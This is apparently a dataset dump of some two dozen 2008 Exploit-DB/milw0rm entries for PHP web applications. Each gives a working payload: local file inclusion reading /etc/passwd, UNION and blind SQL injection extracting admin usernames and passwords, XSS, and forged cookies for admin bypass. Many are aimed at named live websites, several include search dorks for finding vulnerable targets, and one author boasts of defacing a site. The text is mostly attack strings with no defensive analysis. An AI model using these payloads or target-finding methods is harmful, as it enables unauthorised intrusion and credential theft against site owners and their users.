QLWD/code_shield huggingface dataset:
标题: Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion EDB-ID: 6980 CVE: 2008-6222 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: [~]-------------------------------------------------------------------------------------------------------
[~] Joomla Component ProDesk v 1.0 AND 1.2 (com_pro_desk&include_file) Local File Inclusion Vulnerability
[~]
[~] http://joomlashowroom.com/index.php/Pro-Desk-Support-Center/Pro-Desk-Support-Center.html
[~]  
[~] 
[~] ----------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 4.11.2008
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] -----------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] milw0rm staff
[~]------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd
[~]  
[~] Ex :- v 1.2
[~]
[~] http://www.reviewyou.com.au/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd
[~]-------------------------------------------------------------------------------------------------------
[~] 
[~] Ex :- v1.0 
[~]  
[~] http://www.ppcmanagement.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd 
[~]---------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6980
标题: MatPo Link 1.2b - SQL Injection EDB-ID: 6967 CVE: 2008-6606 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: [~] MatPo Link Version 1.2 Beta Remote Sql inj.
[~]
[~] view.php (id)
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 03.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss yuzden nete ara verebilirim : (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/view.php?id=[SQL]

[SQL]=

-999999999+union+select+1,2,concat(user(),0x3a,version()),database(),5,6,7--

example:

http://hilfe-forum.pytalhost.de/linkliste/view.php?id=-999999999+union+select+1,2,concat(user(),0x3a,version()),database(),5,6,7--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6967
标题: Acc Real Estate 4.0 - Insecure Cookie Handling EDB-ID: 6964 CVE: 2008-6294 2008-6293 2008-6292 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# [~] Discovered by : Hakxer
# [~] Type Gap : Acc Real Estate v4.0 Insecure Cookie Handling
# [~] Script : http://www.accscripts.com/realestate/admin-area-specifications.html
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################

Bug In : /admin/Index.php
   
   PoC : javascript:document.cookie="username_cookie=admin";
   
   [~] Admin panel 
   http://www.accscripts.com/realestate/demo/admin/index.php
   [~] Execute JS Code javascript:document.cookie="username_cookie=admin"; 
   [~] Refresh
  

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6964
标题: Acc Statistics 1.1 - Insecure Cookie Handling EDB-ID: 6965 CVE: 2008-6294 2008-6293 2008-6292 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: ###########################################################################
______ __ __ ______ __ ______
/ ____/___ \ \/ / / ____/___ ____/ /__ __________ /_ __/__ ____ _____ ___
/ __/ / __ `/\ / / / / __ \/ __ / _ \/ ___/ ___/ / / / _ \/ __ `/ __ `__ \
/ /___/ /_/ / / / / /___/ /_/ / /_/ / __/ / (__ ) / / / __/ /_/ / / / / / /
/_____/\__, / /_/ \____/\____/\__,_/\___/_/ /____/ /_/ \___/\__,_/_/ /_/ /_/
/____/

# [~] Discovered by : Hakxer
# [~] Type Gap : AccStatistics v1.1 Insecure Cookie Handling
# [~] Script : http://www.accscripts.com/accstatistics.html
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################

Bug In : /admin/Index.php

PoC : javascript:document.cookie="username_cookie=admin";

[~] Admin panel
http://www.accstatistics.com/demo/index.php
[~] Execute JS Code javascript:document.cookie="username_cookie=admin";
[~] Refresh


# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6965
标题: Acc Autos 4.0 - Insecure Cookie Handling EDB-ID: 6968 CVE: 2008-6294 2008-6293 2008-6292 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: -==========================================-
Autore: x0r - Road Crew - Evolution Team
Cms: Acc Autos v4.0
Bug:  Insecure Cookie Handling
Site: http://pro7.altervista.org/v2/
-==========================================-
Exploit:

[+]javascript:document.cookie="username_cookie=admin";
[+]javascript:document.cookie="right_cookie=1";
[+]javascript:document.cookie="id_cookie=1";

Live Demo:

http://www.accscripts.com/autos/demo/admin/

Greetz: 8\10\2008..Il Sogni Diventa RealtÃ ...Bimb4 Ti AmO.

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6968
标题: Maran PHP Shop - 'admin.php' Insecure Cookie Handling EDB-ID: 6954 CVE: 2008-6296 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: # Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /admin.php
vuln code:
<?
$readcookie = $_COOKIE['user'];
if($readcookie!="demo"){echo "error 467. bad login! <a href='login.php'>login here</a>";exit;}
//echo $_COOKIE['user'];
?>

exploit:
javascript:document.cookie = "user=demo; path=/";

Hack0wn :D

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6954
标题: Maran PHP Shop - 'prod.php' SQL Injection EDB-ID: 6953 CVE: 2008-4879 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: # Maran PHP Shop (prod.php cat) SQL Injection Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

PoC: /prod.php?cat=7['SQL]
ExP: /prod.php?cat=7+and+1=2++union+all+select+database()--

live demo:
http://www.heimanis.lv/prod.php?cat=7+and+1=2++union+all+select+database()--

output:~$ latvello_heimanis

Hack0wn :D

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6953
标题: Maran PHP Shop - 'prodshow.php' SQL Injection EDB-ID: 6958 CVE: 2008-4880 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: [~]-------------------------------------------------------------------------------------------------------------

[~] Maran PHP Shop (prodshow.php) SQL Injection Vulnerability
[~]
[~] http://www.maran.pamil-visions.com/maranshop.php
[~]  
[~] 
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 12.10.2008
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7
[~] 
[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat(user_password,char(58),user_name),3,4,5,6,7 FROM administrators
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6958
标题: Joovili 3.1.4 - Insecure Cookie Handling EDB-ID: 6955 CVE: 2008-6269 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: [~] Joovili Script Insecure Cookie Handling Vulnerability
[~]
[~] version: 3.1.4 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 02.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] ----------------------------------------------------------

demo admin login:

http://demo.joovili.com/admin

demo user login:

http://demo.joovili.com/

demo staff login:

http://demo.joovili.com/staff/


exploit for user:

javascript:document.cookie = "session_id=real_id; path=/"; document.cookie = "session_logged_in=true; path=/"; document.cookie = "session_username=real_user_name; path=/"; 


for demo user:

javascript:document.cookie = "session_id=304; path=/"; document.cookie = "session_logged_in=true; path=/"; document.cookie = "session_username=demo; path=/";

for demo admin:

javascript:document.cookie = "session_admin_id=1; path=/"; document.cookie = "session_admin_username=admin; path=/"; document.cookie = "session_admin=true; path=/";

for demo staff:

javascript:document.cookie = "session_staff_id=3; path=/"; document.cookie = "session_staff_username=staff; path=/"; document.cookie = "session_staff=true; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6955
标题: Acc PHP eMail 1.1 - Insecure Cookie Handling EDB-ID: 6966 CVE: 2008-6291 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# [~] Discovered by : Hakxer
# [~] Type Gap :Acc PHP eMail v1.1 Insecure Cookie Handling
# [~] Script : http://www.accscripts.com/mailinglist/
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################

   
   PoC : javascript:document.cookie="NEWSLETTERLOGIN=admin";
         javascript:document.cookie="NEWSLETTERLOGIN=Hakxer";
   
   [~] Admin panel 
   http://www.accscripts.com/mailinglist/demo/index.php
   [~] Execute JS Code javascript:document.cookie="NEWSLETTERLOGIN=admin";
   [~] Refresh
  

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6966
标题: NetRisk 2.0 - Cross-Site Scripting / SQL Injection EDB-ID: 6957 CVE: 2008-4888 2008-4887 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: # -----------------------------------------------------------------
# NetRisk <= 2.0 (XSS/SQL Injection) Remote Vulnerabilities
# -----------------------------------------------------------------
# Discovered By StAkeR aka athos
# Download On http://downloads.sourceforge.net/netrisk
# Works Regardless Of php.ini Settings!
# -----------------------------------------------------------------

# Cross Site Scripting  
# index.php?error=<script>[javascript]</script>

# Remote SQL Injection 
# index.php?p=profile&id=1+union+all+select+0,0,concat(login,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0+from+netrisk_users+where+id=1/*
# index.php?p=profile&id=1+union+all+select+0,0,load_file(0x2F6574632F706173737764),0,0,0,0,0,0,0,0,0,0,0,0/*

# Remote Blind SQL Injection
# index.php?p=game&id=1 and ascii(substring((select password from netrisk_users where id=1),1,1))=[ascii]/*

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6957
标题: BosClassifieds - 'cat_id' SQL Injection EDB-ID: 6962 CVE: 2008-6526 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: [~] Powered by BosClassifieds remote sql inj
[~]
[~] index.php (catid_id)
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 03.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss yuzden nete ara verebilirim : (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/index.php?cat_id=[SQL]

[SQL]=

-9999+union+select+concat(username,0x3a,password)+from+bosdevUUS--

example 1: ( you must look title )

http://myvaldosta.com/bosclass/index.php?cat_id=-9999+union+select+concat(username,0x3a,password)+from+bosdevUUS--

( bunu ben hackledim canIm sIkILIyodu : ) anasayfayI kontrol edin http://myvaldosta.com )

example 2: ( you must look title )

http://wikiventa.com/index.php?cat_id=-9999+union+select+concat(username,0x3a,password)+from+bosdevUUS--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6962
标题: 1st News - SQL Injection EDB-ID: 6960 CVE: 2008-4890 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: ##################################################################
#
#   Author: TR-ShaRk
#
######################
#
#   Web   : StarHack.Us OldKral.Com
#
######################
#
#   Emai   : Admin@tr-shark.org
#
######################
#
#   Script price : 19,00â‚¬
#
#   Here:http://1st-scripts.de/products.php?id=18&associate=
#
#
######################
#
#   SQL Injection Vuln. :
#   products.php?id=00+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+bb1_users--
#
#
######################
#
#   Demo:
#
#   http://1st-scripts.de/products.php?id=00+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+bb1_users--
#
######################
SEHITLER Ã–LMEZ VATAN BÃ–LÃœNMEZ
Greetz: STR0KE , WEBLOADER , REALWOLKER , KOMANDO , CEYPOWER , ARANELWORM , MYSTICAL_DEWIL

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6960
标题: YourFreeWorld URL Rotator - SQL Injection EDB-ID: 6949 CVE: 2008-3750 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: URL Rotator ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/urlrotator.php

DorK   : Copyright Â©  Rotator 2008

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.safelistadtrading.com/urlrotator/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--






Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6949
标题: Downline Goldmine newdownlinebuilder - SQL Injection EDB-ID: 6951 CVE: 2008-4178 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: newdownlinebuilder (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.downlinegoldmine.com/

DorK   :  inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--


Demo :
_______

http://www.downlinegoldmine.com/newdownlinebuilder/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--





Greetz : All my freind

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6951
标题: YourFreeWorld Classifieds Blaster - SQL Injection EDB-ID: 6944 CVE: 2008-4900 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Classifieds Blaster ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/classifiedsblaster.php

DorK   : :)

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/classifiedsblaster/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6944
标题: Downline Goldmine Builder - SQL Injection EDB-ID: 6946 CVE: 2008-4178 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Downline Goldmine Builder (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    :http://www.downlinegoldmine.com/

DorK   :inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--





Demo :
_______

http://www.downlinegoldmine.com/downlinebuilder/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--


Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6946
标题: YourFreeWorld Short Url & Url Tracker - SQL Injection EDB-ID: 6940 CVE: 2008-4885 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Short Url & Url Tracker ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/shorturl.php

DorK   :  inurl:"tr.php?id=" Short Url & Url Tracker

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______


http://www.safelistadtrading.com/shorturl/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--




Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6940
标题: YourFreeWorld Classifieds Hosting - SQL Injection EDB-ID: 6948 CVE: 2008-4884 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Classifieds Hosting( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/classifiedshosting.php

DorK   : inurl:tr.php?id= Hosting

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13,14+from+adminsettings--


Demo :
_______

http://www.classyfied-ads.com/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13,14+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6948
标题: Downline Goldmine Category Addon - SQL Injection EDB-ID: 6947 CVE: 2008-4178 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Category Addon (tr.php id) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.downlinegoldmine.com/

DorK   :  inurl:tr.php?id=

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--



Demo :
_______
http://www.downlinegoldmine.com/categoryaddon/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13--






Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6947
标题: YourFreeWorld Reminder Service - SQL Injection EDB-ID: 6943 CVE: 2008-4881 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Reminder Service ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/reminder.php

DorK   :  inurl:tr.php?id= Reminder Service

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--



Demo :
_______


http://www.downlinegoldmine.com/reminderservice/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--





Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6943
标题: YourFreeWorld Autoresponder Hosting - 'tr.php' SQL Injection EDB-ID: 6938 CVE: 2008-4882 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-01 漏洞利用脚本: Autoresponder Hosting ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    :http://www.yourfreeworld.com/script/autoresponderhosting.php

DorK   : inurl:tr.php?id= Autoresponder

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/autoresponderhosting/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--




Greetz : All my freind

# milw0rm.com [2008-11-01] URL: https://www.exploit-db.com/exploits/6938
标题: YourFreeWorld Shopping Cart - Blind SQL Injection EDB-ID: 6952 CVE: 2008-4886 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: Shopping Cart ( index.php c )  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    :http://www.yourfreeworld.com/script/affiliateshoppingcart.php

Demo :
_______
true & false

http://www.downlinegoldmine.com/shopcart/index.php?c=12+and+substring(@@version,1,1)=4
http://www.downlinegoldmine.com/shopcart/index.php?c=12+and+substring(@@version,1,1)=5




Greetz : All my freind

Im TrYaGi

# milw0rm.com [2008-11-02] URL: https://www.exploit-db.com/exploits/6952